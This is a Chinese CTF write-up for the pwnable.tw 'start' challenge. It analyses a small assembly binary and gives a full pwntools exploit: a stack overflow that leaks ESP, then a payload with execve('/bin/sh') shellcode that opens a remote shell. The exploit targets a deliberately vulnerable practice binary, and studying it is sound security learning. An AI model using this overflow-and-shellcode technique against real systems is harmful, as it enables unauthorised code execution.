1. 程式人生 > >pwntw start writeup 棧溢位利用自身程式碼

pwntw start writeup 棧溢位利用自身程式碼

這題利用了棧溢位,將返回地址覆蓋為程式本身地址,造成記憶體洩露。

有個坑是如果你用gdb peda自帶的checksec檢查防護措施會發現NX是開啟的,那麼堆疊處的程式碼無法執行,就無法構造棧裡的shellcode,file下
在這裡插入圖片描述
發現程式是靜態連結的,那就無法利用ret2libc。想了半天也不知道怎麼做。就用ubuntu自帶的checksec檢查下發現
在這裡插入圖片描述
根本沒有開啟NX,可能是gdb的除錯環境會影響判斷吧。

拿到題目先執行觀察下,
在這裡插入圖片描述
先顯示了一串字串,然後讓你輸入字串就結束了。

放到IDA裡看一下:

public _start
_start proc near
push    esp
push    offset _exit //這裡的退出函式是作者自己寫的。
xor     eax, eax
xor     ebx, ebx
xor     ecx, ecx
xor     edx, edx
push    3A465443h
push    20656874h
push    20747261h
push    74732073h
push    2774654Ch
mov     ecx, esp        ; addr
mov     dl, 14h         ; len
mov     bl, 1           ; fd
mov     al, 4
int     80h             ; LINUX - sys_write
xor     ebx, ebx
mov     dl, 3Ch
mov     al, 3
int     80h             ; LINUX -
add     esp, 14h
retn
_start endp ; sp-analysis failed

程式本身是用匯編寫的,f5的程式碼可讀性很低,那就直接讀彙編。程式開始處 先push了 ESP,將ESP的值壓棧,然後又push了exit函式的地址,再連續push 5個數,此時堆疊情況如下。
在這裡插入圖片描述
黃色的區域即是連續push的5個數。

mov     ecx, esp        ; addr
mov     dl, 14h         ; len
mov     bl, 1           ; fd
mov     al, 4
int     80h             ; LINUX - sys_write

這段程式碼進行了linux的系統呼叫,linux的系統呼叫都是通過int 0x80來完成的,在int 0x80之前先將引數傳進對應暫存器,以及呼叫的函式的編號傳進來。
這裡的write函式就是將上面的push進堆疊的5個數字以字串形式打印出來,即 Let’s start the CTF: 這段字串。
然後是:

xor     ebx, ebx
mov     dl, 3Ch
mov     al, 3
int     80h             ; LINUX -

這裡IDA沒有顯示是哪個函式,百度了下,得知編號3是read函式。
前面的 xor ebx,ebx 將ebx的值清0,應該是fd,即是標準輸入,從終端輸入。
用gdb除錯下,看看從終端讀取的字串佔據的是哪裡:
在第一個write函式呼叫完成後下一個斷點(從ida可以獲知):
在這裡插入圖片描述
字串的開始是 0xffffd204。
下面一直執行到read函式,輸入字串。
在這裡插入圖片描述
發現輸入的字串也是從 0xffffd204開始的,那就說明read函式從ESP指向的記憶體開始存字串的。
然後是:

add     esp, 14h
retn

將esp值加上0x14,此時ESP指向
在這裡插入圖片描述
再ret就執行exit函式,整個程式執行完畢,ret後ESP指向起始ESP。
程式的流程分析完畢,想要執行shellcode就必須知道每次程式執行時的ESP的值。
在程式執行的第一步就是將ESP壓棧,如果將這個壓棧的ESP值給洩露出來就可以寫出通解。
再看這裡

mov     ecx, esp        ; addr

將ESP的值給ecx,write函式就是將ecx指向的字串打印出來。
而執行完read函式後,ESP恰好指向 起始的ESP,如果將 add of exit 地址覆蓋為 mov ecx, esp ; addr 的地址就可以洩露出 起始ESP的值了,接下來編寫exp

from pwn import *

a=remote('chall.pwnable.tw',10000)

a.recvuntil("Let's start the CTF:")

shellcode="\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80"

payload1='A'*20+p32(0x08048087) # return to func of wrire

a.send(payload1) 

esp=u32(a.recv(4))

payload2='A'*20+p32(esp+20)+shellcode  #注意最後ESP加上了20後再ret
#,所以這裡洩露的ESP也要加20,前面還要有20個垃圾資料填充堆疊,才能將
#shellcode的地址填入正確的位置

a.send(payload2)

a.interactive()

這裡的shellcode是網上隨便複製的。pwntools自帶的生成shellcode太長了。
執行指令碼即可得到shell。
在這裡插入圖片描述